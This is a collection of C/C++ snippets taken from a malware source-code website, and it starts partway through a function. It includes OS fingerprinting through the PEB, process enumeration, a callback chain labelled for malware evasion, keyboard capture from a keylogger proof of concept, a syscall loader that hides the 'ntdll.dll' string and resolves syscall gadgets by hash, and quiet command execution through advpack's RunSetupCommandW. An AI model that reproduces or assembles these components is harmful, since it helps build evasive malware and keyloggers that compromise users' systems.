FILE_SHARE_DELETE, NULL, OPEN_EXISTING, dwFlagsAndAttributes, NULL); if (hHandle == INVALID_HANDLE_VALUE) return INVALID_FILE_SIZE; if (GetFileSizeEx(hHandle, &LargeInteger)) { if (hHandle) CloseHandle(hHandle); return LargeInteger.QuadPart; } return INVALID_FILE_SIZE; } LONGLONG GetFileSizeFromPathA(_In_ PCHAR Path, _In_ DWORD dwFlagsAndAttributes) { LARGE_INTEGER LargeInteger; HANDLE hHandle = INVALID_HANDLE_VALUE; hHandle = CreateFileA(Path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, dwFlagsAndAttributes, NULL); if (hHandle == INVALID_HANDLE_VALUE) return INVALID_FILE_SIZE; if (GetFileSizeEx(hHandle, &LargeInteger)) { if (hHandle) CloseHandle(hHandle); return LargeInteger.QuadPart; } return INVALID_FILE_SIZE; } ``` -------------------------------- ### Get Process Thread Attribute List Size (C++) Source: https://malwaresourcecode.com/home/process-creation-techniques/createprocesswithcfguard Calculates the required size for a process and thread attribute list. This function is a utility to determine the necessary buffer size before allocating memory for the attribute list. It calls `UnusedSubroutineInitializeProcThreadAttributeList` with a NULL list to get the size. ```C++ DWORD UnusedSubroutineGetProcThreadAttributeListSize(VOID) { SIZE_T dwSize = 0; UnusedSubroutineInitializeProcThreadAttributeList(NULL, 1, 0, &dwSize); return (DWORD)dwSize; } ``` -------------------------------- ### Get OS Minor Version from PEB (C/C++) Source: https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosminorversionfrompeb This C/C++ function retrieves the minor version of the operating system by accessing the OSMinorVersion field within the Process Environment Block (PEB). It requires no external libraries and directly reads from memory. ```cpp ULONG GetOsMinorVersionFromPeb(VOID) { return GetPeb()->OSMinorVersion; } ``` -------------------------------- ### Initializing and Starting Callback Chain in C Source: https://malwaresourcecode.com/home/my-projects/proof-of-concepts/stupid-callbacks-for-malware-evasion The InitializeCallbackStagers function sets up the initial call to DispatchCallbackRoutines, starting the callback chain. The main function initializes the CHAIN_CONTEXT structure and then calls InitializeCallbackStagers to begin the process. The return value indicates success. ```c VOID InitializeCallbackStagers(PCHAIN_CONTEXT Context) { DispatchCallbackRoutines(Context); } INT main(VOID) { CHAIN_CONTEXT Context = { 0 }; InitializeCallbackStagers(&Context); return ERROR_SUCCESS; } ``` -------------------------------- ### Get PID from Process Name (C++) - ANSI Character Source: https://malwaresourcecode.com/home/fingerprinting/getpidfromenumprocesses Retrieves the Process ID (PID) of a process given its name with the extension using ANSI characters. It enumerates processes, opens each one, gets its module base name, and compares it. Requires including 'psapi.h'. ```cpp #include DWORD GetPidFromEnumProcessesA(_In_ PCHAR ProcessNameWithExtension) { HANDLE hProcess = NULL; DWORD ProcessIdArray[1024] = { 0 }; DWORD ProcessIdArraySize = 0; DWORD NumberOfBytesReturned = 0; if (!K32EnumProcesses(ProcessIdArray, sizeof(ProcessIdArray), &NumberOfBytesReturned)) return FALSE; ProcessIdArraySize = NumberOfBytesReturned / sizeof(DWORD); for (DWORD dwIndex = 0; dwIndex < ProcessIdArraySize; dwIndex++) { HMODULE Module = NULL; DWORD dwProcessId = ERROR_SUCCESS; CHAR ProcessStringName[MAX_PATH] = { 0 }; if (ProcessIdArray[dwIndex] == 0) continue; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessIdArray[dwIndex]); if (hProcess == NULL) continue; if (!K32EnumProcessModules(hProcess, &Module, sizeof(Module), &NumberOfBytesReturned)) continue; if (K32GetModuleBaseNameA(hProcess, Module, ProcessStringName, sizeof(ProcessStringName) / sizeof(CHAR)) == 0) continue; if (StringCompareA(ProcessNameWithExtension, ProcessStringName) == 0) dwProcessId = GetProcessId(hProcess); CloseHandle(hProcess); if (dwProcessId != 0) return dwProcessId; } return 0; } ``` -------------------------------- ### Get OS Build Number from PEB (C/C++) Source: https://malwaresourcecode.com/home/fingerprinting/peb-teb-related/getosbuildnumberfrompeb This C/C++ function retrieves the OS build number by accessing the PEB (Process Environment Block). It relies on the GetPeb() function, which is typically available in Windows environments. The function returns a ULONG representing the build number. ```C/C++ ULONG GetOsBuildNumberFromPeb(VOID) { return GetPeb()->OSBuildNumber; } ``` -------------------------------- ### Load DirectInput8 Objects (C++) Source: https://malwaresourcecode.com/home/my-projects/proof-of-concepts/jeff-com-only-keylogger This C++ function initializes DirectInput and creates a keyboard device. It uses DirectInput8Create to create the main DirectInput object and CreateDevice to create the keyboard device. The function returns an HRESULT indicating success or failure. ```cpp HRESULT LoadDirectInput8Objects(IDirectInput8W** Input, IDirectInputDevice8W** Keyboard) { HRESULT Result = S_OK; Result = DirectInput8Create(GetModuleHandleW(NULL), DIRECTINPUT_VERSION, IID_IDirectInput8, (PVOID*)Input, NULL); if (!SUCCEEDED(Result)) return E_FAIL; return (*Input)->CreateDevice(GUID_SysKeyboard, Keyboard, NULL); } ``` -------------------------------- ### Initialize Syscalls - C++ Source: https://malwaresourcecode.com/home/my-projects/proof-of-concepts/meow-meow-kitty-cat-meow-meow/mmkcmm-loader/mmkcmm-loader Initializes syscall handlers by loading 'ntdll.dll', parsing its export table, and identifying specific 'Zw' functions and other critical API functions like `RtlAllocateHeap`, `RtlFreeHeap`, `LdrGetProcedureAddress`, `LdrLoadDll`, and `LdrUnloadDll`. It stores 'Zw' functions with their gadgets in a sorted array. Dependencies include various Windows API functions and custom hashing/comparison utilities. ```cpp BOOL InitializeSyscalls(VOID) { DWORD64 ModuleBase = 0; PIMAGE_DOS_HEADER Dos = NULL; PIMAGE_NT_HEADERS Nt = NULL; PIMAGE_FILE_HEADER File = NULL; PIMAGE_OPTIONAL_HEADER Optional = NULL; SORTED_SYSCALL_MAPPING SortedSyscalls[512]; DWORD ArrayObjectIndex = 0; WCHAR InMemoryModuleString[MAX_PATH * sizeof(WCHAR)]; DWORD StackBuilderOrdinal = 0; #pragma warning( push ) #pragma warning( disable : 6001) ZeroMemoryNoOptimize(&SortedSyscalls, sizeof(SortedSyscalls)); ZeroMemoryNoOptimize(&InMemoryModuleString, MAX_PATH * sizeof(WCHAR)); #pragma warning( pop ) InMemoryModuleString[StackBuilderOrdinal++] = 'n'; InMemoryModuleString[StackBuilderOrdinal++] = 't'; InMemoryModuleString[StackBuilderOrdinal++] = 'd'; InMemoryModuleString[StackBuilderOrdinal++] = 'l'; InMemoryModuleString[StackBuilderOrdinal++] = 'l'; InMemoryModuleString[StackBuilderOrdinal++] = '.'; InMemoryModuleString[StackBuilderOrdinal++] = 'd'; InMemoryModuleString[StackBuilderOrdinal++] = 'l'; InMemoryModuleString[StackBuilderOrdinal++] = 'l'; StackBuilderOrdinal = ERROR_SUCCESS; ModuleBase = (DWORD64)ImplGetModuleHandleW(InMemoryModuleString); if (ModuleBase == 0) return FALSE; RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ModuleBase); IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress); PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames); PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions); PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals); for (DWORD i = 0; i < ExportTable->NumberOfNames; i++) { LPCSTR FunctionName = (LPCSTR)(FunctionNameAddressArray[i] + (PBYTE)ModuleBase); PVOID FunctionAddress = (PVOID)(ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[i]]); if (StringCompareWithLenghtA((PCHAR)FunctionName, (PCHAR)"Zw", 2) == 0) { SortedSyscalls[ArrayObjectIndex].Address = FunctionAddress; SortedSyscalls[ArrayObjectIndex].Number = 0; SortedSyscalls[ArrayObjectIndex].Name = FunctionName; ArrayObjectIndex++; } else { switch (HashStringDjb2A((PCHAR)FunctionName)) { case DEFRTLALLOCATEHEAP: { RtlAllocateHeap = (RTLALLOCATEHEAP)FunctionAddress; break; } case DEFRTLFREEHEAP: { RtlFreeHeap = (RTLFREEHEAP)FunctionAddress; break; } case DELDRGETPROCEDUREADDRESS: { LdrGetProcedureAddress = (LDRGETPROCEDUREADDRESS)FunctionAddress; break; } case DELDRLOADDLL: { LdrLoadDll = (LDRLOADDLL)FunctionAddress; break; } case DELDRUNLOADDLL: { LdrUnloadDll = (LDRUNLOADDLL)FunctionAddress; break; } default: break; } } } BubbleSortSyscallMappings(SortedSyscalls, ArrayObjectIndex); for (WORD i = 0; i < ArrayObjectIndex; ++i) { PCHAR Name = (PCHAR)SortedSyscalls[i].Name; PVOID Gadget = NULL; Gadget = GetSyscallGadget64(SortedSyscalls[i].Address); if (Gadget == NULL) continue; switch (HashStringDjb2A(SortedSyscalls[i].Name)) { case ZWCREATEFILE: { GlobalSyscallStub.ZwCreateFile.SyscallGadget = Gadget; GlobalSyscallStub.ZwCreateFile.Number = i; GlobalSyscallStub.ZwCreateFile.nArgs = 11; break; } case ZWCLOSE: { GlobalSyscallStub.ZwClose.SyscallGadget = Gadget; GlobalSyscallStub.ZwClose.Number = i; GlobalSyscallStub.ZwClose.nArgs = 1; break; } case ZWQUERYINFORMATIONFILE: { ``` -------------------------------- ### CreateProcessFromINFSetupCommandW (C++) Source: https://malwaresourcecode.com/home/process-creation-techniques/infsetupcommand Executes a command specified in an INF file using the Unicode version of the `RunSetupCommandW` function from `advpack.dll`. It loads the DLL, retrieves the function pointer, and calls it with specified parameters. The function returns TRUE on success and FALSE on failure, ensuring the DLL is freed. ```cpp #define RSC_FLAG_INF 1 #define RSC_FLAG_QUIET 4 BOOL CreateProcessFromINFSetupCommandW(_In_ LPCWSTR PathToInfFile, _In_ LPCWSTR NameOfSection) { typedef HRESULT(WINAPI* RUNSETUPCOMMANDW)(HWND, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, PHANDLE, DWORD, LPVOID); RUNSETUPCOMMANDW RunSetupCommandW = NULL; HMODULE hMod = NULL; BOOL bFlag = FALSE; hMod = LoadLibraryW(L"advpack.dll"); if (hMod == NULL) goto EXIT_ROUTINE; RunSetupCommandW = (RUNSETUPCOMMANDW)GetProcAddress(hMod, "RunSetupCommandW"); if (!RunSetupCommandW) goto EXIT_ROUTINE; if (!SUCCEEDED(RunSetupCommandW(NULL, PathToInfFile, NameOfSection, L".", NULL, NULL, RSC_FLAG_INF | RSC_FLAG_QUIET, NULL))) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (hMod) FreeLibrary(hMod); return bFlag; } ```